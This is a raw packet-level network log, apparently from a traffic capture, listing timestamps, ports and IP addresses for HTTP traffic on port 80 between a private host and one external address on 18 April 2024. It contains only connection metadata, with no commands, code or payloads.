Apr 18, 2024 23:40:21.174915075 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174928904 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174952030 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174988031 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175003052 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175026894 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175064087 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175095081 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175101042 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175116062 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175138950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175148010 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175178051 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175215960 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175239086 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175268888 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175271988 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175306082 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175348043 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175358057 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175395966 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175412893 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175435066 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175472021 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175484896 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175509930 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175528049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175548077 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175584078 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175585032 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175605059 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175623894 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175626993 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175673962 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175678015 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175693035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175707102 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175720930 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175734997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175738096 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175755024 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175776958 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175779104 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175817013 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175853968 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175867081 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175892115 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175929070 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.175940037 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.175966024 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176002026 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176012993 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176038980 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176048040 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176089048 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176142931 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176142931 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176183939 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176218987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176237106 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176256895 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176275969 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176294088 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176299095 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176333904 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176372051 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176383018 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176409006 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176422119 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176448107 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176484108 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176491022 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176523924 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176558018 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176561117 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176585913 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176609039 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176620960 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176647902 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176682949 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176687002 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176721096 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176757097 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176768064 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176804066 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176814079 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176841974 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176850080 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176879883 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176896095 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176918983 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.176966906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.176970959 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177009106 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177042007 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.177046061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177084923 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177120924 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177120924 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.177139997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.177165031 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.177165985 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177207947 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177253008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177259922 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.177268982 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177284002 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177314997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.177320957 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177360058 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177371025 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.177397966 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177406073 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.177432060 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.177475929 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.235383987 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.235471010 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.238547087 CEST	80	49779	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.238625050 CEST	49779	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.239500046 CEST	80	49788	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.239634991 CEST	49788	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.334759951 CEST	49788	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.423299074 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423346043 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423413992 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.423441887 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423468113 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.423482895 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423487902 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.423521996 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423573971 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423578024 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.423613071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423650980 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423666000 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.423710108 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423748970 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423758984 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.423784971 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423795938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.423824072 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423861027 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423871994 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.423899889 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423939943 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.423976898 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.423978090 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424019098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424026012 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424056053 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424093008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424122095 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424145937 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424185991 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424200058 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424226046 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424266100 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424273968 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424304008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424345970 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424352884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424382925 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424421072 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424427032 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424458027 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424498081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424503088 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424537897 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424575090 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424611092 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424647093 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424668074 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424685955 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424690962 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424724102 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424746990 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424761057 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424767971 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424799919 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424838066 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424875021 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424887896 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424913883 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424952984 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.424957991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.424990892 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425028086 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425036907 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425065994 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425102949 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425110102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425141096 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425179005 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425184965 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425216913 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425225973 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425256014 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425266981 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425293922 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425332069 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425340891 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425369024 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425394058 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425406933 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425443888 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425447941 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425483942 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425525904 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425540924 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425565958 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425580025 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425605059 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425642967 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425649881 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425678015 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425684929 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425698042 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425724030 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425761938 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425798893 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425812960 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425837994 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425874949 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425879002 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425899029 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425915003 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425915003 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.425951004 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425987959 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.425993919 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426026106 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426064014 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426078081 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426100969 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426139116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426148891 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426179886 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426188946 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426220894 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426259041 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426270008 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426300049 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426337004 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426347017 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426412106 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426451921 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426461935 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426491022 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426528931 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426537037 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426567078 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426604033 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426609993 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426644087 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426681042 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426688910 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426718950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426757097 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426760912 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426794052 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426831007 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426836967 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426868916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426907063 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426918030 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426944971 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.426975012 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.426983118 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427021980 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427031994 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427061081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427098989 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427114964 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427139044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427185059 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427210093 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427222967 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427262068 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427268028 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427299976 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427337885 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427342892 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427375078 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427412987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427419901 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427450895 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427488089 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427494049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427525997 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427565098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427570105 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427603006 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427640915 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427669048 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427678108 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427716017 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427726030 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427753925 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427792072 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427798033 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427829981 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427867889 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427872896 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427902937 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427906036 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427922964 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.427946091 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427983046 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.427992105 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.428020000 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.428057909 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.428064108 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.428096056 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.428139925 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.428148985 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.428189039 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.428225994 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.428231955 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.428263903 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.428302050 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.428311110 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.428342104 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.428361893 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.428381920 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.428428888 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.580600977 CEST	80	49788	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.581376076 CEST	80	49788	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.581448078 CEST	49788	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.586009979 CEST	49788	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674084902 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674128056 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674166918 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674206972 CEST	80	49768	193.233.132.167	192.168.2.4
